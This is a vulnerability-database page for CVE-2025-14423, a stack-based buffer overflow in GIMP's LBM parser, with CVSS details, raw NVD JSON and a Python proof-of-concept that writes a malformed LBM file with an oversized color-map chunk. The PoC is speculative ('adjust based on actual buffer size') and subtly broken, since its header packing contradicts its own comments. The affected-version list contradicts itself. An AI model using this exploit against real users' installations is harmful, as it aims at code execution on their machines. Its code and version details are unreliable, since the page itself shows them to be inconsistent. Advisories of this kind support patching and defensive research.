Security Vulnerability Report
中文
CVE-2025-14423 CVSS 7.8 HIGH

CVE-2025-14423

Published: 2025-12-23 22:15:49
Last Modified: 2026-01-20 17:20:13

Description

GIMP LBM File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of LBM files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28311.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.6:*:*:*:*:*:*:* - VULNERABLE
GIMP < 2.10.38
GIMP < 2.99.18 (development versions)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-14423 PoC - Malicious LBM File Generator # This PoC generates a crafted LBM file that triggers a stack buffer overflow in GIMP # Reference: ZDI-CAN-28311 import struct import sys def create_malicious_lbm(): """Generate a malicious LBM file to trigger CVE-2025-14423""" # LBM file signature lbm_magic = b'FORM' # Total form size (will be updated) form_size = struct.pack('>I', 0) # LBM type identifier lbm_type = b'ILBM' # BMHD chunk - BitMap Header bmhd_chunk = b'BMHD' # BMHD data (20 bytes standard) # Width, Height, Origin X/Y, Number of planes, Masking, Compression, Flags bmhd_data = struct.pack('>HHBBBBB', 320, # Width 200, # Height 0, # Origin X 0, # Origin Y 5, # Number of planes (5-bit ham mode) 0, # Masking (none) 0 # Compression (none) ) # Pad bytes bmhd_data += struct.pack('>BB', 0, 0) # BMHD chunk size (little endian) bmhd_size = struct.pack('>I', len(bmhd_data)) # CMAP chunk - Color Map (with overflow data) cmap_chunk = b'CMAP' # Crafted CMAP data - oversized to trigger overflow # Original buffer size is likely smaller, this will overflow overflow_size = 1024 # Adjust based on actual buffer size cmap_data = b'\xFF' * overflow_size # Fill with 0xFF bytes # CMAP chunk size cmap_size = struct.pack('>I', len(cmap_data)) # BODY chunk - Image data (minimal) body_chunk = b'BODY' body_data = b'\x00' * 100 # Minimal body data body_size = struct.pack('>I', len(body_data)) # Calculate total form size chunk_data = lbm_type + bmhd_chunk + bmhd_size + bmhd_data + \ cmap_chunk + cmap_size + cmap_data + \ body_chunk + body_size + body_data # Build complete LBM file lbm_file = lbm_magic + struct.pack('>I', len(chunk_data)) + chunk_data return lbm_file def main(): output_file = "CVE-2025-14423_poc.lbm" print(f"[*] Generating PoC LBM file for CVE-2025-14423") print(f"[*] Target: GIMP LBM File Parser") print(f"[*] Vulnerability: Stack-based Buffer Overflow") lbm_data = create_malicious_lbm() with open(output_file, 'wb') as f: f.write(lbm_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(lbm_data)} bytes") print(f"[!] This file should be opened with vulnerable GIMP version") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14423", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:49.420", "lastModified": "2026-01-20T17:20:13.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP LBM File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of LBM files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28311."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "F9B29A73-05E5-438E-B994-61FBB133B6AC"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/481cdbbb97746be1145ec3a633c567a68633c521", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1137/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}